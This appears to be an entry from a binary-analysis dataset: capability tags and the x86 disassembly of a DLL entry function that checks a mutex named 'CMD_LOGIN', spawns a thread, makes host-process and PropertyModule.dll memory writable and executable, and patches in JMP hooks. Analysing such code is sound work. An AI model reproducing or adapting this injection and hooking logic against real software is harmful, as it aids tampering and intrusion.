Function at 0x10001ed0
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
cmp eax, 1
push edi
jne 0x10002216
push str.CMD_LOGIN
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10001f13
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 0xc
push 0
push 0
push 0
push 0x100015c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.10001480
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x41fb00
mov dword [0x1000bee0], 0x41fb00
call ebx
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push 0x1000
push 0x10001af0
call ebx
mov edi, dword [0x1000bee0]
mov byte [edi], 0xe9
lea eax, [edi + 5]
mov byte [eax], 0x90
mov byte [eax + 1], 0x90
mov byte [eax + 2], 0x90
mov byte [eax + 3], 0xc2
mov byte [eax + 4], 4
mov byte [eax + 5], 0
lea esi, [0x10001af0]
sub esi, eax
mov dword [edi + 1], esi
lea edx, [ebp + 0xc]
mov dword [0x1000bed8], 0x40fff9
push edx
push 0x40
push 0x1000
push 0x40fff9
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x10001da0
call ebx
mov edi, dword [0x1000bed8]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001da0]
sub esi, eax
mov dword [edi + 1], esi
lea ecx, [ebp + 0xc]
mov dword [0x1000bef0], 0x431bc9
push ecx
push 0x40
push 0x1000
push 0x431bc9
call ebx
lea edx, [ebp + 0xc]
push edx
push 0x40
push 0x1000
push 0x10001c20
call ebx
mov edi, dword [0x1000bef0]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001c20]
sub esi, eax
mov dword [edi + 1], esi
lea eax, [ebp + 0xc]
mov dword [0x1000bec4], 0x425ce9
push eax
push 0x40
push 0x1000
push 0x425ce9
call ebx
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push 0x1000
push 0x10001d40
call ebx
mov edi, dword [0x1000bec4]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001d40]
sub esi, eax
mov dword [edi + 1], esi
lea edx, [ebp + 0xc]
mov dword [0x1000beec], 0x418b4c
push edx
push 0x40
push 0x1000
push 0x418b4c
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x10001e70
call ebx
mov edi, dword [0x1000beec]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001e70]
sub esi, eax
mov dword [edi + 1], esi
mov dword [0x1000bebc], 0x417694
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push 0x1000
push 0x417694
call ebx
lea edx, [ebp + 0xc]
push edx
push 0x40
push 0x100
push 0x10001e10
call ebx
mov edi, dword [0x1000bebc]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001e10]
sub esi, eax
mov dword [edi + 1], esi
lea eax, [ebp + 0xc]
mov dword [0x1000bed4], 0x42448e
push eax
push 0x40
push 0x1000
push 0x42448e
call ebx
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push 0x1000
push 0x10001a20
call ebx
mov edi, dword [0x1000bed4]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001a20]
sub esi, eax
mov dword [edi + 1], esi
push str.PropertyModule.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
mov dword [0x1000d07c], eax
je 0x10002216
lea edx, [ebp + 0xc]
add eax, 0x2f6c
push edx
push 0x40
push 0x1000
push eax
mov dword [0x1000bedc], eax
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x100019c0
call ebx
mov edi, dword [0x1000bedc]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x100019c0]
sub esi, eax
mov dword [edi + 1], esi
mov ecx, dword [0x1000d07c]
lea edx, [ebp + 0xc]
push edx
push 0x40
lea eax, [ecx + 0x1355]
push 0x1000
push eax
mov dword [0x1000bee4], eax
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x10001d10
call ebx
mov edi, dword [0x1000bee4]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001d10]
sub esi, eax
mov dword [edi + 1], esi
mov ecx, dword [0x1000d07c]
lea edx, [ebp + 0xc]
push edx
push 0x40
lea eax, [ecx + 0x377d]
push 0x1000
push eax
mov dword [0x1000beb8], eax
call ebx
lea eax, [ebp + 0xc]
push eax
push 0x40
push 0x1000
push 0x10001cb0
call ebx
mov edi, dword [0x1000beb8]
mov byte [edi], 0xe9
lea eax, [edi + 5]
lea esi, [0x10001cb0]
sub esi, eax
mov dword [edi + 1], esi
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 0xc